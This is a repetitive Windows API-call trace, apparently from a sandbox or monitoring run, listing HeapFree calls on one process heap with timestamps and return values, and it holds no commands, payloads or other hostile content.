HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0270.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.988] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0271.514] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.649] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.651] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.652] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.663] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.665] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.665] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.667] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.667] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.668] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0271.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0271.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0271.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0271.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0271.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0271.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.302] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.303] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.308] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.313] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.315] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.315] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0272.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0272.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0272.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0273.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0273.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0273.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0273.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.166] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0273.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0273.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.257] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.258] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.259] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.260] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.261] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x5500068 | out: hHeap=0x630000) returned 1 [0273.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0273.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0273.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.357] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.366] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.373] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0273.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0273.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.384] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.387] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.415] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0273.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0273.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0273.419] 